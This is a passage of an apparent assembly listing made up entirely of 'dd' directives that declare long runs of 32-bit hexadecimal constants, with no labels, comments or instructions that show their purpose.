dd 3A615A58h, 286FFDC4h, 0CF794F3Dh, 0E911317Ah, 16163A1Bh
dd 0D26977AAh, 0AFCA67C9h, 0EF37E055h, 6BAB2431h, 708310A0h
dd 1780EA39h, 9D0F5976h, 5E74C496h, 0AE23C517h, 4DC2D434h
dd 6194628Dh, 4769D3F5h, 14296272h, 5F0BC5C1h, 680A7A19h
dd 0FD5E13A6h, 0F5972DAFh, 0F9F5A739h, 0F7666135h, 1868CCE1h
dd 17201298h, 0EA8101B3h, 46862DEDh, 0B8C43F42h, 56F29340h
dd 304F9A61h, 5D28D2F7h, 73609840h, 0C401291Ch, 4AD7E877h
dd 0C4DB85Ah, 215F2A23h, 0B36313A0h, 0CDCB0F28h, 0FB26A1A4h
dd 5F011588h, 12CBCFBh, 138BBD55h, 0B8B277E1h, 7AC05DAEh
dd 0B583F7BAh, 44A585BDh, 0CB75F5Eh, 0C192BE49h, 0AAB35337h
dd 307E7088h, 969F049h, 9A457F68h, 80E042C1h, 0C431A848h
dd 0EF81053Dh, 80B125DBh, 0BC9F701h, 90F01332h, 9AE54CE6h
dd 34F813C4h, 0CDC900F5h, 621D3CA3h, 2E28E4EDh, 944763Eh
dd 8C7F9EEDh, 15189Bh, 293BA597h, 685D386Ah, 906B2724h
dd 96905267h, 4B481C79h, 176E05Ah, 0C7F168BDh, 7BFAF6D4h
dd 0E16D5264h, 66DBF607h, 9F507B7Ah, 89B58EFCh, 21D001DBh
dd 0F6600DB9h, 0ECE6956Ch, 9954B125h, 286A51EBh, 6838556Eh
dd 1083C926h, 5939CDF3h, 0D1204787h, 678F3F6Fh, 0C5AEA8B3h
dd 594FE33h, 2FEE65C0h, 85E22637h, 0B85E17E6h, 55F491Ah
dd 0FD96E923h, 0B401B2A9h, 0C9C48060h, 66E82028h, 4830C680h
dd 0E91790F5h, 16F6FDCBh, 710506EBh, 6C40907Bh, 840FC909h
dd 0CCC8BF50h, 69AA73AEh, 0F0953E4Ch, 74EA0104h, 0BCE97DD0h
dd 0D74A2D91h, 4FFEB2B0h, 2784FCC2h, 3F0D1B9h, 27EF0F68h
dd 40F641DAh, 34083503h, 0D948FB93h, 947B0A3Eh, 66C9AED7h
dd 447D5FAh, 0DAE77427h, 5088FD7Eh, 24EE24E7h, 9A6C1B37h
dd 93950A3Fh, 95E36B89h, 2F3B5B28h, 0EA0ADDBh, 720B7F34h
dd 0A5CB093Eh, 28C760F7h, 9F0590D0h, 21060CDh, 2761B897h
dd 0F4DF8BC0h, 4EF75A48h, 4DE92CFEh, 0F9309284h, 0B0351091h
dd 50476860h, 439D2C48h, 80FF504h, 3F9275Eh, 70544BCFh
dd 0D3293746h, 0D60BA2A9h, 0A296D994h, 1A141D8Bh, 0BA22C15Ch
dd 5DEF0100h, 681758AEh, 0CE602C12h, 89A59C6h, 0DEA9E960h
dd 0FD336809h, 2DD750AAh, 7CCB757Bh, 0FFBF60A4h, 6B507222h
dd 12171BC2h, 54E92BDAh, 66C01E13h, 882C3E2Eh, 66256BDCh
dd 5B45B767h, 8F1021A6h, 0E08AE14Bh, 4FCB8CEEh, 3B0160C6h
dd 0BC104E2Bh, 7B7105D5h, 2A801F79h, 2AC0508h, 0E94AD5F9h
dd 8A768DDFh, 18D9EF50h, 0C64D320h, 1A4E6774h, 5A681ABCh
dd 5BDF8D08h, 13170612h, 11B06817h, 79FFB58Ch, 0C460FF0Dh
dd 0DB102D42h, 6B0671D0h, 51A27EF8h, 0B80F4FD2h, 0D42DA222h
dd 0AA855A32h, 5D9F648Ch, 1D548BDFh, 7509CBC0h, 12E627h
dd 0E9535621h, 367363A3h, 3B7A5B5Dh, 0FA594A27h, 3BB34CAEh
dd 96425A26h, 0E2E5B0D4h, 4722F260h, 169AE781h, 3165A24h
dd 12200415h, 6A53A605h, 5FD40AC9h, 0D55F070Bh, 0F1A403A4h
dd 48006B8Ch, 23EA3748h, 2B6F2D68h, 559BBDCh, 0EA09882Ah
dd 54255F96h, 9791141Fh, 74DB883Fh, 85BF56F6h, 3929EB70h
dd 0AC50987Fh, 9B8C514Fh, 3CEA17B1h, 6B23B1FAh, 0C7794829h
dd 60F06808h, 7077E904h, 2BDD89AEh, 15D8EEF2h, 79B7555Bh
dd 2845AF3h, 178CFFF8h, 0BC780174h, 58C22925h, 67B2C52h
dd 3B546EFAh, 7C1506Ch, 0BEABC5Ah, 8C4018E9h, 303C21B2h
dd 5BFADD7h, 9FF04A9Eh, 1A205832h, 2BEBBD00h, 0D531410Ch
dd 0CFBA5A0Eh, 0E98481B6h, 0A92DFD1Bh, 706CEB10h, 1224D048h
dd 5CD0CB43h, 76A249BBh, 75E60F15h, 0F816EA1Dh, 0E1F917BEh
dd 5C008DE2h, 308FB551h, 0D8E059EBh, 0C328E898h, 525FF1C7h
dd 815A43CAh, 3ADABCF4h, 589DBF3h, 0E5D20BDEh, 950A0815h
dd 870EF625h, 0BC53179Bh, 5D8268EAh, 7A0C6D40h, 56653A1Eh
dd 0EA4140C2h, 5530E02Bh, 4FAFB4D9h, 0C8C61605h, 0DC120546h
dd 5EE4B5Bh, 0BAC1016Ah, 0C9A43961h, 0BD642C92h, 6812746Dh
dd 0E235EEh, 4ED7BE10h, 943E83A0h, 0F58006EFh, 9039063Fh
dd 22BC2DE9h, 5E5A64A8h, 8D959A88h, 6D2DBDAh, 0A98520BEh
dd 2507320Ch, 7B64F181h, 15E93C71h, 0F65F8338h, 0F0FD5EF5h
dd 6EEF7CA1h, 0E539E5F3h, 0E116A493h, 520702F7h, 8609355Eh
dd 11AFF9CDh, 8C472633h, 0D05F08A0h, 3D685F03h, 0B2691019h
dd 4C041BDh, 0F7AA0E3Fh, 0A794B7Eh, 26578D6h, 0B5635004h
dd 0B167AA13h, 0DDFB7494h, 0F6B82AA1h, 6F406CA8h, 0C383125Fh
dd 0A5ACBC02h, 2AF7D9EAh, 5F6495E4h, 0CE56ACC9h, 0E49270F0h
dd 0DB9B5934h, 5313A92Ch, 0BF929FE2h, 8FFFED64h, 7DFE4076h
dd 7782909Ch, 7D55D694h, 6350DF83h, 52F5A58h, 800DA623h
dd 0F5270A0h, 0CD015A5Dh, 405BBBA6h, 531340B5h, 7E788B2Ah
dd 838D305h, 28BF5E10h, 0BA3552EFh, 10EF21D2h, 902AF118h
dd 25242DE9h, 0BB2D7546h, 1740C758h, 16CEEC64h, 0C5E36048h
dd 17C45010h, 1EAB5966h, 67C589FDh, 0EF86E55h, 520EB050h
dd 2BB93699h, 5325C0B7h, 0AE6690C0h, 4231372Dh, 9296DF18h
dd 2E313990h, 3960C58Bh
dd 7B401818h, 648BD09h, 0EAEEB10Eh, 2B6A8BB7h, 0B9817F1Dh
dd 2C923AE9h, 7565D637h, 0B3CC1744h, 0F0F82804h, 0BC40015Eh
dd 8EB3CC1h, 0A4834F13h, 9A953854h, 6559E3ECh, 8388BD94h
dd 9F988012h, 0D2E4DAF6h, 0FE160EC0h, 0F6FA86CAh, 0C108DED7h
dd 4B6801F2h, 5AA6234Ah, 0C5205BB8h, 0DAE5800Eh, 0BFC0EEFEh
dd 2839D0EFh, 14EE7A0h, 85CB8107h, 0F937451Fh, 7067DA2h
dd 231EBDC3h, 0B22E0CCDh, 71B71239h, 6803C890h, 0BD29FAE0h
dd 3837B887h, 302D5F00h, 12F147Ah, 50551C05h, 0F2E8016Dh
dd 1195078Fh, 46373300h, 1D685D28h, 0B614C9Dh, 0F4A31ABh
dd 69981A81h, 3B592162h, 565A6E01h, 152EFBE9h, 7D161CB7h
dd 6B0F8C58h, 0DFDF6E52h, 88B10917h, 0F485E7DBh, 2C41040h
dd 9257CA68h, 747520CDh, 0E200AC5Ch, 9336F5EDh, 1CB2C7C5h
dd 0CEA0E613h, 31C2BF33h, 2F07C7DFh, 43999534h, 2580DC08h
dd 8B28A6F9h, 0AB3E1509h, 189D505Eh, 0A30D22E9h, 22594F5h
dd 9417D23Ah, 0B7E5A786h, 5DC512Dh, 0AE14C268h, 0D1B0BA31h
dd 0DDCF8801h, 30D9356Fh, 634FD980h, 248850A8h, 21693909h
dd 852F7BEh, 0D615F16Bh, 0EE1DD882h, 1A597C09h, 0C67DC536h
dd 55C82574h, 0E6EEDBFAh, 0B6F0A854h, 0F188E103h, 1DC9FE5Ah
dd 297AB17Ch, 207E07B3h, 0C120CCD1h, 99E18016h, 30A7C304h
dd 0B92EB281h, 0B44ABC62h, 0FD2B29F0h, 9268D5Fh, 0CE57538Ah
dd 2D444382h, 5B885763h, 0D5622507h, 49E46575h, 50D81322h
dd 0E734FD5Ah, 1C0D1E6h, 7C7D4488h, 0C1EC227Ch, 85A8C33Dh
dd 0FB014290h, 326EEF01h, 0E33B037Bh, 21155075h, 447E0412h
dd 0ED288FE8h, 0CEE93708h, 0B2F3B0E1h, 0D54F1201h, 3148E5E9h
dd 0A2D34B79h, 0E955C162h, 9C7A906Ah, 98092DB8h, 5D1B0908h
dd 0B0552589h, 80B1C65Dh, 2D17D268h, 81CC364Eh, 0D787244Fh
dd 0E90E6CDBh, 1D12CF4Eh, 5BD8CEAEh, 0CB4B42E7h, 409F4935h
dd 2D022991h, 0A3E97257h, 0B830A68h, 27ACA945h, 2504D624h
dd 0EF297B6Dh, 40E330F4h, 0EE58C1F8h, 9EEB1A5Fh, 29F12F33h
dd 492EC284h, 42CAF2C5h, 55C58AFh, 0AE9988BAh, 0C9D7E084h
dd 0D9207641h, 4BAFF049h, 845027B2h, 2188AADDh, 0B8E14B0Ch
dd 8AC9DFC2h, 4E5022B8h, 7C29D856h, 0C49C2A5Eh, 1202B723h
dd 52006A5Bh, 0B788DDB2h, 0F69E29C5h, 282FDEE7h, 14092596h
dd 0FB05420h, 5E59EDE9h, 7A8A92C3h, 0C655C858h, 0CB0D56FEh
dd 0A805FD22h, 0E0C7FE02h, 4CB8B1BAh, 371A1128h, 35F939B6h
dd 5FF6BA62h, 0B4782498h, 73228CA4h, 5771BF84h, 61F9DA4h
dd 64C4A2E0h, 8602BF4Fh, 6801FCA4h, 687F52F6h, 0EBB6563Fh
dd 73589239h, 0DC98E0Ch, 87CA5BE9h, 4A8A5F5Eh, 5EF0BEC4h
dd 10FCCBE7h, 433B7756h, 34E86D16h, 0AE68EB3Ah, 134E4EE9h
dd 0BA0AEADDh, 818FE279h, 0C432EE3h, 13BEAE20h, 0B8AF6C0Bh
dd 2AAD5B37h, 0E90BE0D4h, 0D372791Eh, 3A85615Ah, 94A25FFCh
dd 2FB1155h, 34FEF919h, 7FBE6844h, 16D4E62h, 0F8D830ACh
dd 0C8B173EDh, 0D2E4E986h, 0EAD12D20h, 0EA9F3570h, 60196091h
dd 0AD094A5Bh, 93921C3Ah, 1601BC13h, 38032CBDh, 68A81882h
dd 1C613339h, 13200376h, 18DFF634h, 3E2DABFFh, 543B5617h
dd 8508DB1h, 0C1743FE9h, 4022F2D5h, 0D36D6044h, 864A65FAh
dd 0F5F7198Ch, 77977D20h, 0EFC3DE29h, 498F76C0h, 0AA625582h
dd 2D29E155h, 0E835320h, 49162F3Fh, 1408E1C6h, 0F5B009ECh
dd 106E8948h, 0C03DD044h, 0CEDE0527h, 0E6C78C9h, 0EF885301h
dd 0E75BF847h, 0E6C50759h, 1A209058h, 6051A250h, 0C488B96Bh
dd 0E86E09ACh, 55EA97C5h, 0EDE52928h, 8DE62478h, 4103C340h
dd 0F71318A2h, 3ECCDCD3h, 0D4EC3D25h, 0E2DA9355h, 121925Eh
dd 0CD2825E9h, 4E7D3A46h, 0F133D22Ch, 6288DD54h, 1E72C63h
dd 2954F275h, 14B631F0h, 0BF3C108h, 0FAB26E97h, 0AC299F72h
dd 82F24484h, 0B905DEBEh, 0CABFD6FEh, 4103002h, 42CB290Dh
dd 7A080CFAh, 5DB440ABh, 0EA53587Eh, 8DB34E65h, 0FF3DC44Ah
dd 4CE97CD0h, 7E4E9D4Eh, 4B71EE95h, 8B4D2558h, 575E17D3h
dd 0BC1B74AEh, 8CBBA43Eh, 0AE64E9A9h, 0E1AE2DB1h, 0C8F5D6EEh
dd 58525977h, 2CC4A7BAh, 53011F91h, 1388BB66h, 7BEB8940h
dd 0F17AF377h, 8F43F54Ah, 6AD38705h, 9E200542h, 0DBF81E3Fh
dd 1C6139B7h, 872871CEh, 0DF99F60Ah, 88937EABh, 0B624CCD1h
dd 51D5700Bh, 0BF284242h, 0CC7C8009h, 0B5311E7Fh, 7A5688E9h
dd 0A92B1999h, 0CBBBA19Eh, 5F32F77Eh, 0E9F1F50Fh, 2142215Fh
dd 13E01C4Fh, 40A8B4CEh, 37314968h, 0D3BC484Bh, 5C7FDAE0h
dd 17050800h, 172CF75h, 72D51D0h, 42B1E07Bh, 6C9DA5BAh
dd 0F5FABDA2h, 0D37D5848h, 0DB2808BEh, 12D08F14h, 1BA24771h
dd 9901F951h, 5D02742Fh, 0B646B277h, 38C595DFh, 0C6258E20h
dd 0C898518Ah, 0BD22A71Dh, 0C655872Ah, 0B1C34B79h, 5E8C0BC9h
dd 2060E3CDh, 21AB4E0Bh, 9D5954D3h, 95601FE8h, 9B5A2198h
dd 80CF4082h, 62874CCFh, 8B13F41Fh, 0FA5B7C17h, 39291F0Ch
dd 0B8FB5EA5h, 16EBE59Dh, 0C9257172h, 413102CDh, 42021A7h
dd 8CAA4AA1h, 0FC602FCFh, 4EBBC2DFh, 0F78F95BFh, 3FA47061h
dd 418D2CE9h, 3A7440C2h, 6248E26Ch, 6D2D76CEh, 44256EFh
dd 0AEC0835Eh, 6DD8A0A2h, 79E86853h, 45625B9Fh, 8986FD5Bh
dd 630C04F3h, 1CCB680Eh, 536F1955h, 756D23Fh, 3C067506h
dd 3DFED0E8h, 0C79FE7B7h, 0DFF78EDEh, 0BA5BF905h, 0F0288A20h
dd 63A65E04h, 21D6E969h, 1C02D0F7h, 2927620Fh, 8A81CC3h
dd 3CF3B190h, 5651C05Ah, 2430BF68h, 8FC190Ah, 0F82F8B3Bh
dd 22EB6EEh, 0EF36E6D0h, 0E52FCDDCh, 4A3E28F9h, 5B71E34Fh
dd 419C91E0h, 45DED489h, 0FBBF279Ah, 528E6944h, 21FA4A02h
dd 69C6AA81h, 0E946C80Ch, 125D2625h, 9B1D68CFh, 5BEF7ECFh
dd 2D970793h, 4031233Ah, 2A4A22D1h, 7F510472h, 0F89F9282h
dd 0C9F60709h, 31771700h, 665873C5h, 6D7FBAEBh, 530005ECh
dd 0E241E4BBh, 5F38163h, 18555203h, 4CAC509h, 135110F8h
dd 0ED3800BEh, 28689C43h, 95D570BDh, 9524492Fh, 5864FE6Ch
dd 5C975FCh, 836B685Fh, 0C1BFC075h, 0F0C3BDEh, 913AE1ECh
dd 8922E46Eh, 0B94139F8h, 9604F66Eh, 5A1C22AAh, 5C91A95Dh
dd 1A69A57Eh, 10913D5Fh, 0BD5FD2F6h, 91454E92h, 5CF766Ah
dd 0E9A39D17h, 2CBDE89h, 0DD0D487Dh, 5C50033Ch, 4941D1F7h
dd 5DA1D207h, 0D48C98F1h, 13571894h, 2FF61A72h, 24E243Eh
dd 0D06BCEF1h, 0F040F74Fh, 0F780E20Eh, 0BD8996D6h, 0FEE291ADh
dd 86766F62h, 31343204h, 6A3D9A82h, 0D93457C3h, 70567B20h
dd 2A5BBD68h, 4EC2C08h, 8557D301h, 0F1D4AF01h, 29EC05FBh
dd 0B9C0FFBh, 0F8565A64h, 5FE4B08Bh, 12094A31h, 0DE18AA1Eh
dd 1E1E9AD8h, 4A503F0Dh, 8952D3A9h, 0CED45358h, 0E40BF7D2h
dd 0A188B4FDh, 982DA55Ch, 61C8E94Eh, 20577C29h, 9F5AB760h
dd 9AFAD016h, 39003B2h, 0BFE33320h, 72A702CFh, 0EA855DB4h
dd 10E4B65Bh, 0B400B02Dh, 0BEB35347h, 0CDA0DC20h, 189BC24Ah
dd 0D606953Ch, 4CCE19C5h, 0CF751C93h, 0C25AB32Eh, 0A74497E9h
dd 0BF72FAFFh, 0A8707645h, 5A577AC5h, 5B24F449h, 2F915851h
dd 0CABB5784h, 0B7F85F1Dh, 8D438785h, 5B122E36h, 0DF1061E6h
dd 0D95C2564h, 76E2AF79h, 0D2503BE6h, 4F8B5D2Ah, 3E90FDCCh
dd 0E08C255Fh, 1CC3FE5Dh
dd 0CC3CF380h, 0E311B5EBh, 28BE9B40h, 2D9DD828h, 48F1A3DFh
dd 0F794064Bh, 1367EC61h, 16CF569h, 38080B6Fh, 5D0FC41h
dd 2D8013B6h, 0A0BE83BBh, 24729829h, 9C77CF7Fh, 63297C2h
dd 53AABF0Bh, 2F45C705h, 187175Ch, 813EF85h, 0CB9264D1h
dd 7AF0987Fh, 0D7486F58h, 714A18F6h, 542CFC0h, 397BC8EFh
dd 5DF5C814h, 849B12E1h, 126285A2h, 5300DB02h, 168B6852h
dd 0A81C5E70h, 7CFA0519h, 0CC007235h, 4E7558Fh, 82558229h
dd 0C55B4D69h, 0D827BE0Bh, 0C6B98940h, 770B301Eh, 14C7FA8Ch
dd 59620CBFh, 609C3D28h, 0A900DD6h, 0FF2A3482h, 5F070B14h
dd 900BA0DEh, 94FFC49Ah, 3B350BCAh, 502F5182h, 0B75BB200h
dd 51589D8Ah, 0DCEF803Dh, 0E9550BAFh, 0F705621Eh, 96D298E3h
dd 967DE66Ah, 0B88795B2h, 3DCE01ADh, 0D3B42B2Dh, 0C41830E9h
dd 42FEF7F7h, 2F71962Eh, 86414C28h, 0C0784641h, 122EE15h
dd 260D5142h, 296205C9h, 0ACC304D0h, 3E2C1D7Bh, 1288CC5Ah
dd 0FB5EF729h, 424B472Ah, 6681E982h, 44D4274Bh, 68016917h
dd 0DE77649Fh, 94A06251h, 0BD80A97Dh, 25E80C0Bh, 89DE29C9h
dd 0BC95CE4Ah, 0CC678AEEh, 55E903FFh, 0E0FBB6ADh, 0BD5B252h
dd 0E2C0DAF6h, 2BF2DC82h, 8E3A5B76h, 1D10461h, 0B7E4E9D0h
dd 65CDB550h, 2FBB304Ah, 44301F72h, 58645061h, 0B9551C04h
dd 0DF360EF1h, 257CB992h, 0BF67002Bh, 2C0B7ED0h, 0ACE63136h
dd 0AD5F1750h, 6E688435h, 0D3157EF3h, 1A12E80Ch, 0F075D041h
dd 255CA265h, 54DF5295h, 27CC07C8h, 79A285Eh, 29572024h
dd 77E7E2D3h, 0D6A62A75h, 28BD053Ah, 6D804267h, 277B7D9h
dd 0E9CE31AAh, 0B1DCCA46h, 283C0C2h, 2575EE81h, 449C5A36h
dd 0F69A4B79h, 1D7A1197h, 4953CB75h, 3B7F24A0h, 0E9B80DE6h
dd 2F01C240h, 167605F0h, 22A97BAFh, 0F1F62790h, 0D4A567D4h
dd 616C522Fh, 266D799Fh, 17D92730h, 17989415h, 0E0005758h
dd 16A5216Dh, 1F4C01BFh, 0A1E9419Eh, 10090569h, 45558FE3h
dd 0E349FE08h, 440BFF56h, 820C9257h, 404BEFh, 7AB6CE81h
dd 8E2E9C28h, 0F4615F09h, 46C56DEh, 0BE51CA87h, 1C0EAF5Bh
dd 17B5E3C0h, 84E68DB8h, 0FD3AE9F9h, 72E0A1CDh, 0F96B977Fh
dd 54803C1Dh, 1ED6054Eh, 699A2D47h, 62D001D3h, 60E90E16h
dd 3500665Eh, 2839B7C6h, 0F2C25B89h, 8353D39Fh, 2060BFAh
dd 510045C5h, 0CB1FDE68h, 0A6E91279h, 49ED5D94h, 600E9D7Bh
dd 90D4D68h, 32E963E8h, 0F239403Fh, 5D303BD3h, 853BC89Dh
dd 3745C4FBh, 0C7D3EC6Eh, 40557AEFh, 85C82EFh, 91D747D5h
dd 478F845Dh, 0A4203C83h, 0DAD3CCEBh, 3F1B45B7h, 0A646D52Dh
dd 4F8B583Eh, 268580A6h, 0CB26FC63h, 125B7450h, 80AC42A8h
dd 6D54DFF6h, 89CFB209h, 0B6640632h, 59562F1Eh, 45D230C3h
dd 0DF5B8957h, 92224C1Eh, 9D3F94B5h, 0D5ECA7EAh, 75279D90h
dd 0A3CE1C9Bh, 21AFFCD8h, 0BD4AA48Dh, 98323F53h, 0EEB53EF3h
dd 3A549553h, 10815092h, 0AA5D1F7h, 61FADBDCh, 5054C73h
dd 0B97E959Dh, 5E6811Bh, 308BF681h, 147D1002h, 0E9334073h
dd 14DDAF2Dh, 0C09EF826h, 0C7E381ABh, 634ED97Dh, 7221A3F0h
dd 9EEA209h, 8222E5C6h, 339F620Ah, 0D02BE2FDh, 0B5F29709h
dd 88220E82h, 8009F937h, 2D2C957Fh, 4AEEF63Eh, 0D694F2BDh
dd 61875102h, 0E125E069h, 4D0C1D49h, 2C98170h, 35348458h
dd 32A8DC73h, 30348B4Ah, 648902ACh, 2A855563h, 0E022B001h
dd 0A060E04h, 4F8F054Ah, 40F40838h, 800DFE80h, 0C081602Dh
dd 2918C8BEh, 7ED6108Eh, 513508C6h, 72792018h, 20489F20h
dd 1D33A5E0h, 774408B2h, 0E1574071h, 3910CB62h, 425E038Ch
dd 6F0D0818h, 8015FF18h, 648049DCh, 6D08C45Dh, 0F4EC0628h
dd 0B1986328h, 10186777h, 6808D157h, 4818C431h, 4D6C047Dh
dd 84AEA06h, 20358B31h, 99999FD5h, 8DD308BFh, 0A90C6C79h
dd 63D84188h, 1880FE0Ch, 4BB38850h, 8EC41C8h, 23082A66h
dd 0C6740811h, 10789E0Ch, 290A81Eh, 51388161h, 190198Ch
dd 88809C8h, 970C3CEEh, 622F20BEh, 0BD3408A9h, 3DBE102h
dd 28189789h, 84085E4Eh, 7D18C687h, 0B2008C5h, 805154DFh
dd 9FB8A893h, 0D410C646h, 8562216Dh, 2AD7F18h, 0DC035C8Ch
dd 862132A0h, 0C002CC79h, 7080255h, 0F4447E05h, 1805F13Ah
dd 59E45891h, 8C43992h, 4F0566E8h, 0C8CC485Eh, 15FB7F08h
dd 0AB10C0CAh, 4F3A1036h, 10204118h, 8C638DEh, 311873CEh
dd 5008968Fh, 5318886Ah, 98F11598h, 187E0810h, 78209902h
dd 108C60Eh, 0BE54187Ah, 1E197DCh, 10888E8Fh, 0EA082C52h
dd 9BC40D57h, 4120FF69h, 6B702ADAh, 8CCD54F8h, 5B38807Ch
dd 32CB10CDh, 0C43F25F0h, 4A86818h, 2A0E4E43h, 32921930h
dd 18F7CC08h, 8CE7518h, 18C40814h, 2004EB5Fh, 276F0479h
dd 92187B04h, 9A02CB74h, 24DC4B1Ah, 986C9829h, 551FD1BAh
dd 88461C8h, 8A185108h, 0C49E7D91h, 49F5908h, 6404FAACh
dd 0D088045Fh, 15D4901Fh, 20E83D65h, 0B1DA6387h, 8193AB0h
dd 0B91860FAh, 19118853h, 207F2B61h, 6C74178Eh, 478E104h
dd 0CB041DF9h, 0F1A704A1h, 493F204h, 12095C3Bh, 2B84AC22h
dd 3109DB24h, 9AE60822h, 1962C903h, 87A9410h, 0E2043586h
dd 0B3524448h, 0F051FD81h, 0FC017D6Dh, 0C6142476h, 0F49C6080h
dd 27A499E8h, 640906DEh, 0C72BA742h, 3F7C468Eh, 2C4701A7h
dd 13EB0275h, 0B90E8D89h, 5E83DA7h, 8F440001h, 0C90B4940h
dd 8B1CF775h, 0B7A2474h, 7EF003DEh, 0C0334359h, 4FB10FC0h
dd 502C3069h, 0E9510CFAh, 92854A3h, 2DED09Fh, 281C368h
dd 75C85A85h, 395FB06Ch, 51EDDB7h, 59648B28h, 70FBAE2h
dd 0E9171994h, 5E11C3C7h, 10EAAB0h, 6843B2BCh, 0CAA3E5E1h
dd 0B4385B77h, 1A1E4F59h, 0D1D34879h, 7F8829AAh, 8208BC0Bh
dd 0C4D895ADh, 601A07B8h, 0CFC15E44h, 4501AF7h, 4634DAF0h
dd 0C1EE8021h, 0E83F4B5Ch, 83D7C4C6h, 0CD0038ACh, 557CAC40h
dd 50050DBDh, 77E95DD0h, 0BB4AA7BCh, 60072D3Ch, 0EAC2170Bh
dd 347B865Eh, 1392718h, 0C08851FFh, 2E75BA22h, 577B1319h
dd 1FE5F54Eh, 0D29DA2D8h, 0F739EA8Ch, 0C033253Ah, 2F32DC7Dh
dd 8DF8234Eh, 80DCEC5Eh, 10C00EADh, 4A132AE9h, 35F0BDECh
dd 0FBDAEA04h, 3C81421Fh, 17C95F2Fh, 0B5030120h, 0FCD4F209h
dd 0F8447D52h, 0B0FEE420h, 4A2BEE90h, 729891B8h, 0C9D86B9Dh
dd 285E5A54h, 0FC32E9EAh, 7F58104Bh, 0A02F1D6Fh, 73326DFDh
dd 0FD862FE9h, 57721EDEh, 68C155F1h, 693B4901h, 73BE0133h
dd 1457964Ch, 786A0B3h, 883B0ADFh, 478B8BD7h, 6FCDF901h
dd 0FEA322CCh, 0DAF6C20Bh, 73B4F8D0h, 0BEC0250h, 132E5E9h
dd 86EE7B55h, 44177808h, 65B3B24h, 454F6942h, 56681D7Ah
dd 79E6A36Ah, 0FA4E2EB8h, 13CAB200h, 0D202728h, 0E74AE955h
dd 0EA1A812Ch, 7C153843h, 0D7D2E8F0h, 9339F718h, 45D778A8h
dd 0F2FDE344h, 92CD3982h, 0A30CAE01h, 9BAFF3Ch, 31EC7258h
dd 900C2C50h, 5A357D9Bh, 95710930h, 0E1762952h, 5A4E0820h
dd 0CB2F5CE1h, 51300077h, 0B3E97DC1h, 5982A8BCh, 3C763A4Fh
dd 0E0D1A27Dh, 258A5EA1h, 0DAE24EEAh, 2E4FE263h, 0B85FB9E8h
dd 511C7C0Fh, 0F83A63B1h, 720BE915h, 0A1D75AEEh, 0D74C1BA2h
dd 54AFF1E7h, 3A72D061h, 0EF29EDA1h, 31AE2602h, 0F2586A32h
dd 14D11263h, 3BB03901h
dd 0A87CD1B3h, 13E7C0B0h, 0AEC78008h, 44121C5Fh, 7AF128BEh
dd 0D143AD41h, 58DBC2C3h, 0CC014BFFh, 0B301536Ah, 0F0B55160h
dd 0F6CCED80h, 5AE910D5h, 80875BDBh, 152BA81h, 713E882Eh
dd 0F541E65Ah, 3E346346h, 0C0D1B82Fh, 7BA02CF0h, 29D64F29h
dd 0E4D73A03h, 91AC80E9h, 0BD648245h, 61E9BF41h, 436EAFCDh
dd 58C2C2D0h, 2D269870h, 535E5FF9h, 20FD648h, 76FA9705h
dd 64B72B57h, 0E1107E34h, 563677C2h, 0EE84EC7Dh, 75BE80B0h
dd 4179721Eh, 6A116D8Dh, 414DE53Eh, 7C2BC9B2h, 0C3FFA4D6h
dd 0ED1E4D01h, 8C0B07E0h, 8DE1FE4Ah, 680C77A7h, 3BE18C3h
dd 1E1BB90Eh, 84305039h, 88011C88h, 760EB377h, 696EC380h
dd 0A0AB06F3h, 8478B58Dh, 0DD5128F2h, 7379FAE1h, 4EBC94Fh
dd 0F9146693h, 61075605h, 0ACCF1B09h, 4E4E1793h, 0BC1FF693h
dd 286CB230h, 0A2F264BFh, 0A7A477B4h, 0BBBE9585h, 0F50068Bh
dd 14201242h, 7ADCB12Fh, 0B2792404h, 6C75C9EBh, 6AD3E020h
dd 0B796A07Eh, 0EA2980FBh, 1390BCD0h, 85042435h, 4113DC8Fh
dd 933F0E61h, 0A0722123h, 584C0888h, 51B2E520h, 4FE9DA06h
dd 1AB0F44Eh, 0F995C679h, 0D59245B9h, 6EC1EB11h, 0DD30295Ch
dd 0CD9F5FDAh, 42E704D1h, 1366C4E6h, 0BDE12C40h, 0A890316h
dd 0D5166EB3h, 5F11B6F2h, 0E24AA1CEh, 35354F59h, 0C0EE7664h
dd 4E796895h, 0C04B4EB4h, 61FBC50h, 0EEE9626Eh, 0C306D79Eh
dd 766F79E2h, 3FA0050Ch, 845D70C5h, 0E7F89839h, 60E55E26h
dd 9BB4227h, 2EA99608h, 8128F0E9h, 282C2EBEh, 0BFFE823h
dd 0B2798EACh, 0BD2E5281h, 0A7AAA4AAh, 0ED85BEBh, 0E8675EB1h
dd 0AF052468h, 8EF0533Bh, 10604E9h, 0DD60F99Dh, 0D3F1FD3h
dd 0F3C5017Bh, 822A595Ah, 303BAA0Ch, 4010562h, 92C2DC6Ch
dd 0A3FEC3A2h, 0F376DD28h, 9D585A26h, 0C150DB10h, 885925EBh
dd 0A4ED540h, 2D5DF19Fh, 0C27958DEh, 0A904AE75h, 0D21CA3AFh
dd 0AA33DF09h, 29183A07h, 12BEBAA1h, 7178C559h, 75431955h
dd 8E8F7BA5h, 0C2CFE90Bh, 0DFE910F6h, 34686D18h, 46E91813h
dd 0F1BB0640h, 0F414260Eh, 0E6FA95C8h, 0B4E6D0D0h, 0BD9B86FAh
dd 7A46B804h, 84C04F47h, 12643504h, 17F477A4h, 4064CDD3h
dd 3323CDFBh, 0EE810903h, 0C040164Ah, 0B538E94Eh, 51BF5C61h
dd 96F861h, 64FED1B7h, 35FD4C7h, 993FDDBDh, 0E07B314Fh
dd 20257704h, 0A9110A5Eh, 344BE9C1h, 0CF5CE09Bh, 0F7EADDE2h
dd 73D11680h, 49813299h, 1359C2C4h, 604D0368h, 5BBD1E25h
dd 0F6318C28h, 0E9740161h, 0E26B2165h, 42C51208h, 1ACD4741h
dd 7520627Eh, 783676EDh, 0C9E9257Bh, 68166594h, 0DBCC6163h
dd 4EFCF4CEh, 37C2F627h, 0EFD15C48h, 7E88327Fh, 2C0B644Eh
dd 228E7DC4h, 0EB512891h, 8EB3104Fh, 0BE143D17h, 5DF6C43Ch
dd 0DE3EEDF8h, 0CFF11CF7h, 0F5014BA1h, 0DF35B157h, 4E2056Fh
dd 85C71291h, 2B14CD0Ah, 4AFBEEE4h, 2A72407Eh, 6815C579h
dd 4B4C7138h, 351C29AEh, 27BD2044h, 57631217h, 6A6C1B00h
dd 9DDA3116h, 8107CECCh, 0A61BAEE2h, 12FF0029h, 0B0516F21h
dd 67D80412h, 0BA426196h, 84244C1Ch, 4DC726BFh, 53ECE016h
